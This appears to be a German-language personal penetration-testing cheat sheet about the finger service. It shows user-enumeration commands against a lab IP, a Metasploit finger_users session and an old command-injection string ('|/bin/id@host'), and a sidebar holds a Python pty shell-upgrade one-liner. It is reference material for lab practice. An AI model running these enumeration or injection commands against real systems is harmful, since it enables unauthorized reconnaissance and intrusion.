akde/infosec

Information security is ultimately about managing risk

finger

,
,

Enumeration

Aktuell angemeldete Benutzer anzeigen

finger @ip

Benutzer-Enu­mer­a­tion

for username in $(cat cirt-default-usernames.txt); do finger $username@10.10.10.76 >> /tmp/finger; done

Enu­mer­a­tion mit Metasploit:

msf5 > use auxiliary/scanner/finger/finger_users
msf5 auxiliary(scanner/finger/finger_users) > set rhosts 10.10.10.76
rhosts => 10.10.10.76
msf5 auxiliary(scanner/finger/finger_users) > run

Exploits

Auf sehr alten Sys­te­men kon­nte man https://insecure.org/sploits_all.html zufolge Befehle aus­führen, etwa mit

finger "|/bin/id@host'

Leave a Reply

About

Personal collection of some infosec stuff. Primary purpose of this site is to collect and organize for myself.

Note: Some content is not publicly visible due to copyright issues. Therefore, some links could be broken.

Checklists

Categories

Checklists: Ports

python -c 'import pty;pty.spawn("/bin/bash")';

python3 -c 'import pty;pty.spawn("/bin/bash")';